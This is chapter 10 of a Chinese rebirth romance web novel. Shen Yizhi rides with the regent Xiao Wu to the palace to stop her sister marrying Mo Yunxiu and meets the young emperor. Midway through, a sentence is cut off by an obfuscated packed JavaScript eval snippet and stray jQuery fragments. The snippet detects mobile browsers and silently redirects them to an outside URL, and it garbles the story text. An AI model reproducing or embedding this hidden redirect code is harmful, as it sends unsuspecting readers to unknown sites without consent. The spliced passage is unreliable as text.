10. 第 10 章

作品:《折贤王(重生)

    沈意之心中恍然塌了一个角。


    她从前循规蹈矩,事事都要做到谨慎小心,要为闺秀典范,就不可做起到负向引导的事情。


    然而她重生回来只是想要为自己求一条生路,只做了这一件离经叛道的事情,就被自己最亲近的妹妹学了去。


    当日在府门,她还说着自己被外人如何嚼舌根,怎的她自己就这样不清醒了?


    沈灼庭想到当日沈意之对于赋税变革一事的预料,以及这些日子以来观察莫允修的表现,觉得沈意之的话不无道理。


    此人野心极大。


    若是真让沈毓栖嫁过去,可能也要吃些苦头。


    他向来不奢求子女如何飞黄腾达,只求安稳度日就够了。


    萧勿不知二人的心事重重,对于他来说,这些事情都不叫事。


    “我压下来了,先来问问岳父大人的意思。”


    萧勿一声“岳父大人”听得沈意之头皮发麻,有些恍惚,这话从向来笑意不达眼底的萧勿口中说出来,还真是有些……割裂。


    好歹松了口气,如果真的得了圣旨,那就真的是没有转圜余地了。


    “妹妹现在还在宫中?”沈意之轻声问道。


    萧勿点了点头,像是猜到了沈意之的意思,主动开口,“我带你去接她。”


    沈意之要进宫,去换了身衣服,跟着萧勿出去。


    沈意之又见到了这辆华贵的四驾马车,沈意之一出门,就见到探头出来的萧陆,一脸春光灿烂,挥着手喊道:“小王妃,好久不见呀。”


    萧勿没说什么,沈意之也没说什么,像这样心照不宣的在结婚前夕就已经改了口的气氛很微妙。


    沈意之主动攀上身侧萧勿的手臂,借着他的力上了马车。


    今日的豪华马车里比之前看上去还要精致一些,车厢内放上了略带花果清甜的熏香。


    是女孩子一般会喜欢的味道,或许里面还掺杂了安神香,沈意之闻着觉得香气馥郁却又不腻,还有一种能安心的感觉。


    车帘外的天是艳阳高照,车内也是暖烘烘的,萧勿将他那双让人看着总是感觉冷冰冰的眼睛闭上了。


    萧勿后上车,坐在了沈意之的对面。


    沈意之觉得这样面对面有些无处安放视线,于是主动坐去了萧勿身侧。


    京都的世家闺秀们就像一个小群体,如果哪家姑娘用了一款好用的香泽,那么许多姑娘都会争先去买,掀起一阵消费热潮。


    那一阵子就会走哪都闻到类似的香,但沈意之坐过来时,扑面而来的香味却是萧勿未曾在别人那里闻到过的。


    略微带了一种嫩茶芽尖的清新气味,仔仔细细地嗅上一嗅,还能隐隐闻见一点苦涩。


    萧勿想到许多年前,小小的沈意之站在凳子上与太子对弈,高高扬起手臂,踮着脚尖落子,口中喊着要将太子“杀得片甲不留”,那时,她浑身都散发着糖果的清甜气味。


    那时“大杀四方”的落子之手,从胖乎乎软糯糯的样子,长成了修长纤细,冰冷柔白的样子,现在又覆上了萧勿的手。


    萧勿隐隐颤了一下,没有动作。


    沈意之见萧勿睁开了眼,眼中澄澈如寒潭,探究着望过来。


    她轻抿了抿唇,柔声开口,“我今日是第一次见新帝,心中有些胆怯,殿下一会可以一直陪着我吗?”


    萧勿喉间轻颤:“嗯。”


    但心道怎么当初见太上皇时不见胆怯。


    沈意之得到肯定回答后,松开了手,萧勿感到那片冰凉在离开前稍微温暖了些,又听沈意之问:“殿下近日是否很忙?”


    萧勿视线扫过来,唇角笑意也没有了,冷然开口,“新帝登基,势单力薄孤立无援,周边四国早已蠢蠢欲动,朝中势力纠葛盘根错节,贪腐之人利欲熏心,政以贿成。”


    他的目光和语气像是一柄无实质的利刃,直白地戳人心腹,“如此境况我无法儿女情长。”


    沈意之确实怔住了,她没有反应过来为什么会说到儿女情长。


    半晌,她又听见萧勿说:“明日沈姑娘进门后,即住进我安排的后院,你自可用摄政王妃的身份去做你想做的事情,我会让小六子陪着你,遇到困难也可以让他来找我,我的力所能及必不推辞。”


    “所以,不必再……与我逢场作戏。”


    糟了,沈意之的第一反应是,自己表演的还不够真情实意。


    回想前世对待莫允修,她也不曾如此上赶着讨好,她如此这般表达思念表达爱慕,萧勿还是认为她在逢场作戏,看来是萧勿不懂爱情。


    霎时间,沈意之红了眼眶,两只冰柔手掌再次握着萧勿,红着鼻尖靠近了他,“殿下,臣女一片痴心竟被殿下看做逢场作戏,这不打紧。”


    “臣女心里清楚,现在时局内忧外患,殿下从一个不受宠的世子爷走到现在不容易,步步艰辛,行差踏错就可能万劫不复,所以臣女很久以前就心悦殿下,殿下的努力,艰难,臣女都看在眼里,这才心疼。”


    “正是因为心疼,所以才想问问,关心殿下,不知臣女哪里做得不好,竟叫殿下以为臣女是在逢场作戏?”


    此番话一说完,柔柔弱弱的闺秀眼里,竟潸然落下泪来。


    萧陆适时探了脑袋进来,“殿下,我真是见不得你说这些,明明背地里要替王妃亲自安排好起居,深怕王妃住过来不习惯,现在又要说这些话来伤人心,您这是做什么呢?”


    他又望见了哭得梨花带雨的沈意之,心下忍不住替萧勿掬一把辛酸泪。


    “小王妃别难过了,殿下嘴硬心软,别看他这样讲,实际上给你那间小院种满了花,屋内陈设都是由殿下亲自……”


    萧勿眼刀射向他,“石狮子。”


    萧陆霎时闭嘴。


    这时候闭嘴也晚了,沈意之听出来萧勿背地里为自己做了不少事,心下一横,反正明日就成婚了,她又拉起萧勿的手,捧在自己脸上,抓着他带着粗粝茧子的手指,替自己抚去脸上泪痕。


    萧勿的手仿佛被烫到了一般,触及女孩脸上已经冷却的泪珠,立马将手抽了回来。


    心中不停地警告自己,自己这么多年背地里对她的维护照顾,不是让自己去伤害她的。


    沈意之最初来到沈家,被有心人质疑为何沈家大姑娘长得那么像太傅幺女,他暗中将那人用一条难以翻身的倒卖兵器的罪名压入死地;


    有人说某日在太子祭日那天,从旧太子府中传出隐隐烟火味道,发现里面有人穿着夜行衣正在祭奠。


    这人没有第一时间上报,而是拿去卖了萧勿一个面子,结果,他没能活着走出萧勿当时的世子府。


    萧勿自认为不是良善,爬上来的路布满荆棘,双手沾满自己的和他人的鲜血,这双手,不想让沈意之沾染。


    若是没有这些事情,沈意之应是于万千宠爱的环境下娇养出来,是名副其实的大家闺秀,是堪比公主地位的贵人。


    萧勿定了定思绪,好歹要护她到一切尘埃落定,半哑着嗓音,转移了话题,“为何阻止妹妹嫁给莫允修?”


    沈意之眼泪来得快去得也快,立马振作起来,解释道,“莫允修此人心思深沉,妹妹又是个缺心眼的,我不希望妹妹嫁去莫府成日受气。”


    萧勿看着她还微微泛红的眼眶,在他面前,沈意之的双眼总是完全睁开,真挚得不能再真挚。


    但,沈意之的话没一句能听的。


    从求旨那日开始,她没对萧勿说过一句真话。


    萧勿:“莫允修如何心思深沉?”


    沈意之:“……”


    “莫允修。”


    萧陆小声念了句,又把脑袋塞进来,“殿下,是莫允修。”


    萧勿指尖挑帘,视线一个来回,看见


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744301|157534||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了远处宫门口,正从马车上下来的莫允修。


    萧勿为摄政王,得特赦职权,可将马车驶入皇宫,于是他掀着帘,三人隔着马车打了个照面。


    有段日子没见,莫允修看上去比上次又更多些胸有成竹。


    他怕是也得知了沈毓栖在圣驾之前求旨的事情,沈意之还有些气愤。


    怎么能让这个人如此春风得意。


    前世的莫允修此时还筹备着与沈意之的婚事,一面又在户部与沈灼庭虚与委蛇,提出马场换农田,提高赋税,私下又贿赂户部各方元老,过不了多久,就能将沈灼庭架空起来。


    沈意之觉得这件事情还是得找个什么机会问问萧勿,自己毕竟是深闺女子,在赋税这件事上,她的见解还是不太成熟,但她知道,涨赋税这件事,不对。


    他们进宫后,马车径直驶入宫内箭亭,沈意之掀帘,见到是自己未曾见过的宫内场面,一大片沙场空地,中心摆了许多箭靶。


    远远看见中心站着几个人,其中一人身着极其显眼的亮黄龙袍。


    年轻皇帝的背影略显清瘦单薄,与萧勿比起来,是比较缺少威慑力。


    “陛下年少,行止由心,但较单纯,没有太上皇那么深沉心思,与陛下交流,不需有压力。”下马车,萧勿带着沈意之下来,在她耳边轻声交代。


    沈意之怕是第一次听见萧勿这么温柔的声音,耳尖子微微发烫。


    皇帝听见了动静,转过身来,沈意之才见到被几人挡在身后的沈毓栖,一脸不满负气。


    年轻皇帝脸上还带着稚嫩,是被保护得很好的涉世未深之朝气,他一脸春光灿烂,步伐沉沉朝萧勿这边走来。


    他面上表情开心得像是快要跳起来似的,但他脚下的步伐还是稳稳沉着。


    萧勿两步上前,向皇帝躬身行礼,皇帝连忙要伸手拦住萧勿,跳脱的手伸出来刚触及萧勿臂膀,就突然想到什么似的,连忙缩回了手,清了清嗓子,沉声道:“平身。”


    “谢陛下。”跟在萧勿身后的沈意之也行礼起身,起身后,在后面,悄悄握上了萧勿的手。


    萧勿垂眸,皇帝已然看见沈意之的动作,笑着没有拆穿,“这位就是兄嫂?果真是闺秀典范,一举一动都跟朕在书上看的一般。”


    沈意之抬眼,看见皇帝身后的沈毓栖瞪了她一眼,眼神瞥向别处。


    她不知道现在皇帝把沈毓栖叫到箭亭来是做什么,又微微福身,“陛下谬赞,不过臣女还担不起典范二字,毕竟离经叛道的事情也做过了。”


    萧勿眉心跳了跳,她果然是记住了自己说的话,与陛下交流没有压力,已经开始自嘲了。


    “那又如何,在朕看来,女子为心爱之人孤注一掷的做法勇敢无畏。”说着,他又看了眼身后的沈毓栖,“也可作为一桩美谈。”


    沈毓栖更不服气了,皇帝刚才对着自己可不是这话。


    “你呀,年纪太小,怎懂情爱,你看看你姐姐,与摄政王鹿车共挽,确是佳偶。”


    可见皇帝应该是受了萧勿的引导,劝慰沈毓栖,只是编的瞎话没有起到什么作用而已。


    “方才是在射箭吗?”萧勿问皇帝。


    皇帝身后的几名侍卫哗啦啦让开了个豁口,皇帝指了指一圈箭靶,“是啊,小姑娘心神不定,被我……朕打得落花流水的。”


    沈毓栖的骑射一向比沈意之优秀,她同国公千金炼玲珑同有这方面的天赋,也算是世家千金中数一数二的能力。


    不过再优秀,与皇帝比还是差得太远,年轻皇帝显然也是在逗小姑娘玩。


    “不是闺秀典范吗?何不与我比上一比?”


    沈毓栖傲慢着将手里的弓箭要递给沈意之,沈意之下意识望向萧勿。


    “微臣,参见陛下。”身后突然响起莫允修的声音。


    沈意之心里一个咯噔,水越来越浑了。